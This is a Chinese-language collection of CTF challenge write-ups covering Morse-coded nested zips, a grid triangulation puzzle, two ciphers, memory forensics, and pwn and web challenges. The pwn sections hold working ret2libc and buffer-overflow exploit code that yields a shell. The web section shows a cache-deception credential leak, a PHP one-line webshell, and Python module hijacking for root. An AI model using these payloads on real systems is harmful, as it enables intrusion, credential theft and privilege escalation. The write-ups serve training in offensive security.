莫斯档案馆

每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。

from PIL import Image
import re

def getMorse(image):
    """
    从图像中提取莫尔斯电码

    假定背景颜色是固定的,莫尔斯电码具有不同的颜色。
    莫尔斯电码可以是任何颜色,只要它与左上像素的颜色不同。

    >>> getMorse('pwd.png')
    ['----.']

    """

    im = Image.open(image, 'r')

    chars = []
    background = im.getdata()[0]

    for i, v in enumerate(list(im.getdata())):
        if v == background:
            chars.append(" ")
        else:
            chars.append("*")

    output =  "".join(chars)

    # 清理输出,去除前后的空白
    # 然后将每组3个星号转换为短横线
    # 将星号转换为实际的点
    # 将字母之间的空格(即>1个背景像素)转换为分隔符
    # 删除空白
    # 返回字母的列表
    output = re.sub(r'^\s*', '', output)
    output = re.sub(r'\s*$', '', output)
    output = re.sub(r'\*{3}', '-', output)
    output = re.sub(r'\*', '.', output)
    output = re.sub(r'\s{2,}', ' | ', output)
    output = re.sub(r'\s', '', output)
    output = output.split('|')

    return output

def getPassword(morse):
    """
    解码莫尔斯电码

    将莫尔斯电码转换回文本。
    以字母列表为输入,返回转换后的文本。

    注意,挑战使用小写字母。

    >>> getPassword(['----.'])
    '9'

    """
    MORSE_CODE_DICT = {
        '.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D',
        '.': 'E', '..-.': 'F', '--.': 'G', '....': 'H',
        '..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L',
        '--': 'M', '-.': 'N', '---': 'O', '.--.': 'P',
        '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
        '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X',
        '-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1',
        '..---': '2', '...--': '3', '....-': '4', '.....': '5',
        '-....': '6', '--...': '7', '---..': '8', '----.': '9',
        '-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?',
        '-.--.': '(', '-....-': '-', '--..--': ','
    }

    for item in morse:
        return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()


def main():
    """
    自动启动

    用于自动化。
    自动调用方法并使用'pwd.png'作为输入图像。

    """
    print(getPassword(getMorse("pwd.png")))


if __name__ == "__main__":
    main()

并使用sh脚本去循环执行

#!/bin/bash

RESULT=0

while [ $RESULT -eq 0 ]
do
        PASSWORD="$( python3 /root/桌面/HTB/MISC/M0rsachive/exp.py )"
        ZIPFILE="$( ls *.zip )"
        unzip -P "$PASSWORD" "$ZIPFILE"
        RESULT=$?
        echo "Unzipped $ZIPFILE using password $PASSWORD ($RESULT)"
        cd flag
done

由于路径也过于长, 使用find也查不出来最外层的flag

$ find . -iname "flag" -type f -exec cat {} \;cat: ./flag/flag/[…]/flag/flag/flag: File name too long

利用脚本:

while [ $? -eq 0 ]; do cd flag/; done
cat flag

三角形

给定一个100 x 100的二维网格,每个“像素”上都有一个字符:

wc sources/grid.csv 
  # 100   100 20344 sources/grid.csv

flag是在此网格上的一系列点:

flagLocation.append([1,2]) # H

flagLocation.append([2,2]) # T

flagLocation.append([3,2]) # B

flagLocation.append([4,2]) # {

flagLocation.append([55,2]) # f

flagLocation.append([65,2]) # a

flagLocation.append([75,2]) # k

flagLocation.append([85,2]) # e

坐标并非直接给出,而是通过模糊处理:

x1 = random.randint(-7,7)
y1 = random.randint(-7,7)
x2 = random.randint(-7,7)
y2 = random.randint(-7,7)
x3 = random.randint(-7,7)
y3 = random.randint(-7,7)

p1 = [cap(x1 + x), cap(y1 + y)]
p2 = [cap(x2 + x), cap(y2 + y)]
p3 = [cap(x3 + x), cap(y3 + y)]

此外,我们知道到三个相邻节点的距离:

distances = [(val1,getDistance(x,y,p1[0], p1[1])),(val2,getDistance(x,y,p2[0], p2[1])),(val3,getDistance(x,y,p3[0], p3[1])),(f"{val1}{val2}",getDistance(p1[0], p1[1],p2[0], p2[1])),(f"{val2}{val3}",getDistance(p2[0], p2[1],p3[0], p3[1])),(f"{val1}{val3}",getDistance(p1[0], p1[1],p3[0], p3[1]))]

另外,节点上的字符并非唯一:

grep -aic '(' sources/grid.csv 
# 67

这里有67个可能的节点"("。

由于分隔符,有时用引号","编码,因此行的长度不规则(而不是严格的199)。

解析数据。数据格式化为逗号分隔的CSV,非常直观:

with open('grid.csv') as _f:
    for x in csv.reader(_f, delimiter=','):
        GRID.append(x)

提示:

with open('out.csv') as _f:
    __measures = []
    for x in csv.reader(_f, delimiter=','):
        __measures.append((x[0], round(float(x[1]), 4)))
        if len(__measures) == 6:
            MEASURES.append(copy.deepcopy(__measures))
            __measures = []

模糊点总是位于以旗帜节点为中心的15 x 15正方形内。

为了确定给定节点是否是flag的一部分,我们为网格上的每个节点计算此邻域。

单个节点的过程如下:

def neighbors(grid: list, x: int, y: int) -> list:
    __distances = {}
    for i in range(cap(x - 7), cap(x + 8)):
        for j in range(cap(y - 7), cap(y + 8)):
            __d2 = round(d2(x, y, i , j), 4)
            if __d2 not in __distances:
                __distances[__d2] = {'nodes': [], 'locations': []}
            __distances[__d2]['nodes'].append(grid[i][j])
            __distances[__d2]['locations'].append((i, j))
    return __distances

对于每个节点,最多需要225次计算

然后,此“field”数据可用于确定给定网格上的点是否满足所有距离以成为flag的一部分:

def is_candidate(node: dict, measures: list) -> bool:
    # 获取目标字符和距离
    __v1, __d1 = measures[0]
    __v2, __d2 = measures[1]
    __v3, __d3 = measures[2]

    # 将距离四舍五入为4位小数
    __d1 = round(__d1, 4)
    __d2 = round(__d2, 4)
    __d3 = round(__d3, 4)

    # 1) 所有3个目标字符都在当前节点周围,且距离正确
    __is_candidate = (
        __d1 in node
        and __d2 in node
        and __d3 in node
        and __v1 in node[__d1]['nodes']
        and __v2 in node[__d2]['nodes']
        and __v3 in node[__d3]['nodes']
    )

    # 2) 这3个点彼此之间的距离正确
    if __is_candidate:
        # 注意:每个值可能有多个匹配的点;所有这些点都必须进行测试
        __i1 = [__i for __i, __v in enumerate(node[__d1]['nodes']) if __v == __v1]
        __i2 = [__i for __i, __v in enumerate(node[__d2]['nodes']) if __v == __v2]
        __i3 = [__i for __i, __v in enumerate(node[__d3]['nodes']) if __v == __v3]

        # 获取匹配点的位置
        __p1s = [node[__d1]['locations'][__i] for __i in __i1]
        __p2s = [node[__d2]['locations'][__i] for __i in __i2]
        __p3s = [node[__d3]['locations'][__i] for __i in __i3]

        # 判断这3个点之间的距离是否正确
        __d12s = [__d12 == round(d2(__p1[0], __p1[1], __p2[0], __p2[1]), 4) for __p1 in __p1s for __p2 in __p2s]
        __d23s = [__d23 == round(d2(__p2[0], __p2[1], __p3[0], __p3[1]), 4) for __p2 in __p2s for __p3 in __p3s]
        __d13s = [__d13 == round(d2(__p1[0], __p1[1], __p3[0], __p3[1]), 4) for __p1 in __p1s for __p3 in __p3s]

        # 最终判断是否为候选点
        __is_candidate = (
            any(__d12s)
            and any(__d23s)
            and any(__d13s)
        )

    return __is_candidate

简而言之,该点必须:

  1. 四周都有指定在“out”文件中的3个字符,且距离正确

  2. 这3个点在彼此之间的距离正确

由于这些标准非常严格,我们期望每个标志字符仅匹配一个点:

print(''.join([candidates(FIELD, __m)[0] for __m in MEASURES]))

最后就会输出flag

餐厅

首先,

cmd: checksec --file=restaurant

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   78) Symbols	  No	0		2		restaurant

我们可以看到该二进制文件未被剥离(这通常是好事)。另一个要注意的是,挑战文件中包含一个 LIBC 二进制文件,因此可能是一次无信息泄露的 ret2libc 攻击,但让我们先来看看程序本身

🥡 Welcome to Rocky Restaurant 🥡

What would you like?
1. Fill my dish.
2. Drink something
> 1

You can add these ingredients to your dish:
1. 🍅
2. 🧀
You can also order something else.
> 1

Enjoy your 1

如果我们选择奶酪(2),答案是相同的。让我们试着 Drink something

🥡 Welcome to Rocky Restaurant 🥡

What would you like?
1. Fill my dish.
2. Drink something
> 2

What beverage would you like?
1. Water.
2. 🥤.
> 1

Enjoy your drink!

它也显示相同的消息,不管选择了哪个

尝试查找一些奇怪的行为,我发现了一个缓冲区溢出,使用以下输入:

🥡 Welcome to Rocky Restaurant 🥡

What would you like?
1. Fill my dish.
2. Drink something
> 1

You can add these ingredients to your dish:
1. 🍅
2. 🧀
You can also order something else.
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

所以,我们可能可以成功地应用最初的思路,即 ret2libc,因为没有 canaries 和没有 pie,所以我们可以溢出 RIP 并调用 system(/bin/sh)

但首先,让我们在IDA中分析二进制文件,以完整地了解底层发生了什么。

反编译的代码对我们已经知道的信息没有太多补充,只是指出 read 函数读取 0x400 字节,这是很多的!

通过使用 GDB,我们可以看到返回地址和缓冲区的开始,因此我们可以计算偏移量以劫持执行流

gdb-peda$ disass fill
----snip----
0x0000000000400ebc <+114>:   lea    rax,[rbp-0x20]                 
0x0000000000400ec0 <+118>:   mov    edx,0x400                      
0x0000000000400ec5 <+123>:   mov    rsi,rax                        
0x0000000000400ec8 <+126>:   mov    edi,0x0                        
0x0000000000400ecd <+131>:   call   0x400690 <read@plt>
0x0000000000400ed2 <+136>:   lea    rax,[rbp-0x20]
----snip----
0x0000000000400eea <+160>:   nop                                   
0x0000000000400eeb <+161>:   leave                                 
0x0000000000400eec <+162>:   ret


gdb-peda$ b *0x0000000000400ed2  (after read)
gdb-peda$ b *0x0000000000400eec  (at ret instruction)
gdb-peda$ r

gdb-peda$ w/wx $rbp-0x20
0x7fffffffe210: 0x41414141

gdb-peda$ c

gdb-peda$ x/wx $rsp
0x7fffffffe238: 0x00400ff3

gdb-peda$ p 0x7fffffffe238-0x7fffffffe210                             
$3 = 0x28

因此,为了滥用 ret 指令,我们需要用 40(0x28)字节的垃圾填充缓冲区。

接下来,我们需要泄漏一些 libc 地址,以计算库基地址。为了实现这一点,我使用了 pwntools 的 ROP 功能

rop = ROP(elf)

rop.call((rop.find_gadget(["ret"]))[0])                     # ret instruction to align the stack
rop.call(elf.plt["puts"], [next(elf.search(b"\n\x00"))])    # call puts with a string containing a newline and a null-byte (to break the output message and ease the leak parsing)
rop.call(elf.plt["puts"], [elf.got["puts"]])                # call puts.plt with the puts.got address (to leak it)
rop.call(elf.symbols["fill"])                               # after leaking, call fill again

这个 ROP 链生成了以下汇编代码

0x0000:         0x40063e 0x40063e()             <- 用于对齐堆栈的 ret 指令                       
0x0008:         0x4010a3 pop rdi; ret           <- 弹出 RDI(puts 函数参数)                      
0x0010:         0x400604 [arg0] rdi = 4195844   <- 调用                      
0x0018:         0x400650                                              
0x0020:         0x4010a3 pop rdi; ret           <- 弹出 RDI(puts.got 地址)                      
0x0028:         0x601fa8 [arg0] rdi = got.puts  <- 调用                      
0x0030:         0x400650                                              
0x0038:         0x400e4a 0x400e4a()             <- 再次调用 fill                         

现在,我们需要解析泄漏并计算 libc 基地址

log.progress("Receiving junk ...")
print(com.recvline())
print(com.recvline())
print(com.recvline())

log.success("Leak received !")
leak = u64(com.recvuntil(b"\n").strip().ljust(8, b"\x00"))

log.info("Puts leaked address @ {}".format(hex(leak)))

libc.address = leak - libc.symbols["puts"]

之后,我们只需构建另一个 ROP 链来调用 system,但这次使用 libc elf 中的地址

rop = ROP(libc)

rop.call((rop.find_gadget(["ret"]))[0])                     # ret instruction to align the stack
rop.call(libc.symbols["system"], [next(libc.search(b"/bin/sh\x00"))])

然后,我们得到了一个 shell

$ whoami && id
ctf
uid=999(ctf) gid=999(ctf) groups=999(ctf)

$ ls -la
total 2016
drwxr-xr-x 1 root ctf     4096 Feb 23 14:16 .
drwxr-xr-x 1 root root    4096 Jan 22 02:23 ..
-r--r----- 1 root ctf       29 Feb 23 14:15 flag.txt
-rwxr-xr-x 1 root ctf  2030928 Feb 23 14:15 libc.so.6
-rwxr-x--- 1 root ctf    12952 Feb 23 14:15 restaurant
-rwxr-x--- 1 root ctf       41 Feb 23 14:15 run_challenge.sh

解密

首先将msg.enc中的16进制数字串转化为相应的bytes对象,其中的每个字符(b)与其对应的明文字符可以用如下模数方程表达

123∗char+18≡b(mod256)

通过如下模数运算步骤可以求解char

以上步骤需要对123进行模倒数计算,使用Python 3.8或之后的版本可以通过Python内置的pow方法进行

##16进制数密文
encoded = '6e0a9372ec49a3f6930ed8723f9df6f6720ed8d89dc4937222ec7214d89d1e0e352ce0aa6ec82bf622227bb70e7fb7352249b7d893c493d8539dec8fb7935d490e7f9d22ec89b7a322ec8fd80e7f8921'

##将密文转换为bytes
encodedBytes = bytes.fromhex(encoded)

##明文
message = []

for b in encodedBytes:
  ##模数求解, 123的模倒数 pow(123, -1, 256) = 179
  char = (b - 18) * pow(123, -1, 256) 
  char = char % 256
  
  message.append(char)
  
##输出明文
print("message :", bytes(message))

你知道0xDiablos

查看文件属性

直接运行程序,输入test,得到一个回应

查看加固措施

checksec vuln

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

查看程序字符串,发现关键字flag.txt

rabin2 -z vuln
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x0000200a 0x0804a00a 8   9    .rodata ascii flag.txt
1   0x00002014 0x0804a014 35  36   .rodata ascii Hurry up and try in on server side.
2   0x00002038 0x0804a038 28  29   .rodata ascii You know who are 0xDiablos:

查看main函数,其调用vlun

查看vuln函数,gets()存在溢出

查看flag函数,发现打开一个文件,如果文件存在,获取内容,比较参数与0xdeadbeef0xc0ded00d的比较,如果相等,则打印文件内容

获取偏移

pwndbg> cyclic -l 0x62616177
188

利用溢出,跳转到flag函数,覆盖两个参数的值为0xdeadbeef0xc0ded00d,使flag函数打印内容

from pwn import *

io = remote('206.189.125.37',31129)

offset = 188
flag_addr = 0x80491e2

payload = 'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()

时间胶囊

这题忘记放远程环境了,可以看wp学习一下思路

相关的任务文件包括Python源代码文件server.py以及一个在线的运行环境。

server.py内容节选如下

Python 代码解读复制代码from Crypto.Util.number import bytes_to_long, getPrime
import socketserver
import json

FLAG = b'xujc{--REDACTED--}'

class TimeCapsule():

    def __init__(self, msg):
        self.msg = msg
        self.bit_size = 1024
        self.e = 5

    def _get_new_pubkey(self):
        while True:
            p = getPrime(self.bit_size // 2)
            q = getPrime(self.bit_size // 2)
            n = p * q
            phi = (p - 1) * (q - 1)
            try:
                pow(self.e, -1, phi)
                break
            except ValueError:
                pass

        return n, self.e

    def get_new_time_capsule(self):
        n, e = self._get_new_pubkey()
        m = bytes_to_long(self.msg)
        m = pow(m, e, n)

        return {"time_capsule": f"{m:X}", "pubkey": [f"{n:X}", f"{e:X}"]}


def challenge(req):
    time_capsule = TimeCapsule(FLAG)
    while True:
        try:
            req.sendall(
                b'Welcome to Qubit Enterprises. Would you like your own time capsule? (Y/n) '
            )
            msg = req.recv(4096).decode().strip().upper()
            if msg == 'Y' or msg == 'YES':
                capsule = time_capsule.get_new_time_capsule()
                req.sendall(json.dumps(capsule).encode() + b'\n')
            elif msg == 'N' or msg == "NO":
                req.sendall(b'Thank you, take care\n')
                break
            else:
                req.sendall(b'I\'m sorry I don\'t understand\n')
        except:
            # Socket closed, bail
            return

使用nc连接到远端服务器上,可以得到多个加密结果

None 代码解读复制代码$ nc 165.227.233.6 30039
Welcome to Qubit Enterprises. Would you like your own time capsule? (Y/n) Y
{"time_capsule": "284C49D57F9B6589E32632E4221CE06EB9893794609A0CE8484317F87BF695A1AF938533CE292E5D6FC3A94BE1587C6F3D0B9C63FFCB08DC9D3406C428F5398A62CB9362F50A57F1A15AA9F291955DC87B597EE8FCF47D1E95B7D77668C1041457CDCAD6116D5B3895CE11088479CC62E19DE7260F2B21098BD971EF0151CE21", "pubkey": ["EBC238B14DBA3DCCDA59EE85F189DF049F93D57CE4686C6DE5EC7B618AA315784227C498D64B11F2D804B52A5855D4B9806D5EBBF3610AC641DA84A39EECB94CFFE8574F6424656C8E60B04ADE87391AF7D1DB33ED7FCB4C17A07A05D3B32309557D24E8D1C7E2193AE4FE10107F5914ADC33192DFA8E684B447F3523916E129", "5"]}
Welcome to Qubit Enterprises. Would you like your own time capsule? (Y/n) Y
{"time_capsule": "8F0CAB681FFEC55BD664E33D2EB2B51D64C404E84B2D96D8FC5D18D36643E7F2AF9FCAF76D008CDB2A1CB1A1F48C8E6555B3D9909D7EFE7B886ABA67021F1B6D12EEC46AC9AB5A868EA7F677DC1E7322D72DC2D9460887348E72F43C4268268D16DE501B13A20072DCE7DB9B9A2DD8868408A40530F574B395DAB6EDB1487564", "pubkey": ["90EFDD26C9F14F76FC9439F964044D0BB5AE973C9ADFE2E74CFCBBFB76DB992A2A93D47C9A79ECF3E4D6ADD576EC396057DA3D9B2426E92B55F8DC7E9C3330A70A21EF366CA00AFA90988A88D308B458A89C58191E7B74A38680898B06C97955A9430C39CC1D0C2A644152FED5D85820D28331D47839C337866CCB331D4A7845", "5"]}
Welcome to Qubit Enterprises. Would you like your own time capsule? (Y/n) Y
{"time_capsule": "12E3112FADB4279CF7936781AFD179E39F7B3848F0C0313B49E015B651890A178C791AF5A295A2E21801BB23197EB945617E0707462127463B793CF18E2AB4D1A13FA27A53FE4FF92154067456DA1378A9C5A1E704031D2FF8E3CF9DEC6E8E34F22D70CE356FF9CD4E2D8BF57A2F7660AAAA92A87E9E352F2CB3760F478B966F", "pubkey": ["C456D31C4B04E68BE0A143196EA313DB2BB9E49C0270D290B905C3D407E65D2E47EF98CDAF3225DF93B159EB203B4D6D6B89E07BD6536CC5C46120668D0A9C272C15FCC86D2AA4AC7457A57CB730D530F1B5D45B8B18CB41E737D605A09EBBC4016089634F3BE96E228BE3823D48C85857E8C1F35BC083B8190FA46B801B1EB5", "5"]}
Welcome to Qubit Enterprises. Would you like your own ^Cme capsule? (Y/n)

server.py源代码我们可以知道其加密算法的实现可以用以下数学公式表达:

me≡c(modn)m ^ e \equiv c \pmod {n} me≡c(modn)

其中,m是明文,e是常数5, c对应于加密输出中的time_capsulen对应于加密输出中pubkey的第一个部分。 m是所求的未知数,ecn则是已知数。并且在每次加密过程中,me都保持不变。

使用中国余数定理, 我们可以使用多个加密输出结果计算得到me次方,然后开方就可求得m。 中国余数定理又称孙子剩余定理, 是中国古代数学中具有世界级影响的贡献之一, 甚至于金庸先生所著的«射雕英雄传»中对其基本形式和解法也有所提及。

以下解题代码使用的工具库包括PyCryptodomeSymPy

Python 代码解读复制代码
from sympy.ntheory.modular import crt
from sympy import integer_nthroot
from Crypto.Util.number import long_to_bytes

##加密输出 1
c1 = 0x284C49D57F9B6589E32632E4221CE06EB9893794609A0CE8484317F87BF695A1AF938533CE292E5D6FC3A94BE1587C6F3D0B9C63FFCB08DC9D3406C428F5398A62CB9362F50A57F1A15AA9F291955DC87B597EE8FCF47D1E95B7D77668C1041457CDCAD6116D5B3895CE11088479CC62E19DE7260F2B21098BD971EF0151CE21

n1 = 0xEBC238B14DBA3DCCDA59EE85F189DF049F93D57CE4686C6DE5EC7B618AA315784227C498D64B11F2D804B52A5855D4B9806D5EBBF3610AC641DA84A39EECB94CFFE8574F6424656C8E60B04ADE87391AF7D1DB33ED7FCB4C17A07A05D3B32309557D24E8D1C7E2193AE4FE10107F5914ADC33192DFA8E684B447F3523916E129

##加密输出 2
c2= 0x8F0CAB681FFEC55BD664E33D2EB2B51D64C404E84B2D96D8FC5D18D36643E7F2AF9FCAF76D008CDB2A1CB1A1F48C8E6555B3D9909D7EFE7B886ABA67021F1B6D12EEC46AC9AB5A868EA7F677DC1E7322D72DC2D9460887348E72F43C4268268D16DE501B13A20072DCE7DB9B9A2DD8868408A40530F574B395DAB6EDB1487564

n2=0x90EFDD26C9F14F76FC9439F964044D0BB5AE973C9ADFE2E74CFCBBFB76DB992A2A93D47C9A79ECF3E4D6ADD576EC396057DA3D9B2426E92B55F8DC7E9C3330A70A21EF366CA00AFA90988A88D308B458A89C58191E7B74A38680898B06C97955A9430C39CC1D0C2A644152FED5D85820D28331D47839C337866CCB331D4A7845

##加密输出 3
c3 = 0x12E3112FADB4279CF7936781AFD179E39F7B3848F0C0313B49E015B651890A178C791AF5A295A2E21801BB23197EB945617E0707462127463B793CF18E2AB4D1A13FA27A53FE4FF92154067456DA1378A9C5A1E704031D2FF8E3CF9DEC6E8E34F22D70CE356FF9CD4E2D8BF57A2F7660AAAA92A87E9E352F2CB3760F478B966F

n3 = 0xC456D31C4B04E68BE0A143196EA313DB2BB9E49C0270D290B905C3D407E65D2E47EF98CDAF3225DF93B159EB203B4D6D6B89E07BD6536CC5C46120668D0A9C272C15FCC86D2AA4AC7457A57CB730D530F1B5D45B8B18CB41E737D605A09EBBC4016089634F3BE96E228BE3823D48C85857E8C1F35BC083B8190FA46B801B1EB5

##使用中国余数定理计算m的e次方
x = crt([n1, n2, n3], [c1, c2, c3], check=True)
print("x=", x)

##开e次方求解m
m = integer_nthroot(x[0], 5)
print("m=", m)

##输出明文
flag = long_to_bytes(m[0])
print("flag=", flag)

可疑流量

首先解压提供的文件并进入解压目录。

image

根据imageinfo.txt文件,建议的内存配置文件为Win7SP1x64

image

根据.eml文件,可推测内存中可能存在简历文件,使用以下命令搜索:

volatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 filescan | grep resume

image

image

第二个结果可能是目标,将其提取到新建的目录中:

volatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 dumpfiles --physoffset 0x000000001e8feb70 --dump-dir dumpedMemory

进入该目录

image

查看第一个文件内容

image

发现一段Base64编码字符串,尝试解码。在多次解码后就能成功获取flag

崔の网站 1

扫目录会发现有.git泄漏

image-20250401192410132

image-20250401192552369

会发现有一个swp状态的文件

image-20250401192626194

vim -r .test.php.swp恢复一下,然后复制保存,把所有clone下来的东西拖到vscode里开始审计

先来看看nginx和apache,因为一般会起两个服务并且题目只提供一个端口应该是有前后关系

image-20250401194153849

nginx.conf里可以看到用户为www-data,启用了proxy_cache,也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知道,继续往下看image-20250401194304565

引用了ctf.conf

image-20250401194325192

可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080,并且配置文件里没有提到是nginx起的php-fpm,再结合有个apache,因此推测内部拓补大概就长这样

image-20250401194721728

并且可以发现,nginx会将你访问的静态文件缓存下来,这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php

在index.php可以归结出3种路由

第一种是visit

image-20250401195228709

可以看到这个路径主要作用是去访问test.php,这个放到一会儿再看。

第二种是login,这个没什么好说,就是判断是否正确登陆,成功后跳转到一个叫sh3ll.php的地方

第三种是其他路径,也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由,并且想要触发这两个路由都需要在通过验证的情况下才可以进入

image-20250401200142106

一种是路径中带profile字样,就给你放回你当前来访问这个路由的用户的账号信息,包括密码

image-20250401195529070

image-20250401200331960

第二种是直接去访问路径里的其他文件

image-20250401195601340

接下来看一下test.php。日志的文件名被写死,基本不可能利用写入恶意代码的方式。

image-20250401195653126

接下去是调用bot_runner函数,这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后,允许你携带管理员的cookie去访问你给的uri。如果思维比较跳跃的同学看到这里应该就知道要做什么了,结合前面index.php看到的profile路由,既然我们可以带着管理员的cookie去访问我们给uri赋值的任意路径,那么我们如果去访问profile岂不是就能拿到账号密码了。

但我们可以发现,虽然bot_runner函数会帮我们访问没错,但是并不会携带访问结果,也就是你看不到respones,所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能,设想一下,如果我们能将respones保存在一个静态文件里,不就可以看了吗?

所以我们可以构造这样一个payload

uri=profile/1.css

可以设想一下,当管理员访问了profile后,php会返回密码,而nginx则会认为profile/1是一个css文件的文件名从而将页面内容缓存下来,这样只要我们访问profile/1.css就能得到结果

image-20250401204008638

拿到密码后发现直接用这串密码是sha256加密过的,需要爆破

image-20250401203913515

通过man hashcat查询sha256编号

image-20250401204109440

把密码存进hash文件里,直接上rockyou

image-20250401204319982

得到明文starbucks

image-20250401204349132

登陆后看到可以执行命令

image-20250401204433980

直接写一句马上蚁剑

echo -n '<?php eval($_POST[1]);?>' > 1.php

image-20250401204704187

在/var/www看到一个文件pass

image-20250401204740782

发现开着22

image-20250401204947495

并且有nginx重启权限

image-20250401205014425

而靶机只提供了一个端口,因此可以通过重写nginx的stream块进行端口转发

image-20250401205315221

并且记得将这两句注释,否则会因为http块占用80端口导致冲突无法正常重启

image-20250401215148863

检查一下。虽然没有权限,但可以检查配置是否正确

image-20250401205423293

重启前确认一下用户名应该叫czj

image-20250401205509000

然后重启,上ssh即可

image-20250401205547606

image-20250401210100053

崔の网站 2

因为家目录下还有一个zsm,所以应该这里还藏着一个flag。想到涉及到密码的应该就只有web登陆时候的登陆请求,并且内层为apache,所以直接看apache请求日志

image-20250401210618319

发现第一条就是

image-20250401210604058

并且无需爆破,可以直接登陆

image-20250401210737094

image-20250401210854119

崔の网站 3

发现可以以sudo运行一个py脚本

image-20250401210810304

先看一下这个脚本是什么

image-20250401215429045

可以看到大概就是在生成随机数,并引入了一个random包,所以可以利用python优先引用当前路径下py包的特性写一个random.py

image-20250401220615276

(这里出题的时候忘记把自己测试的random.py删掉了= =能打到这步最后root的flag属于送分)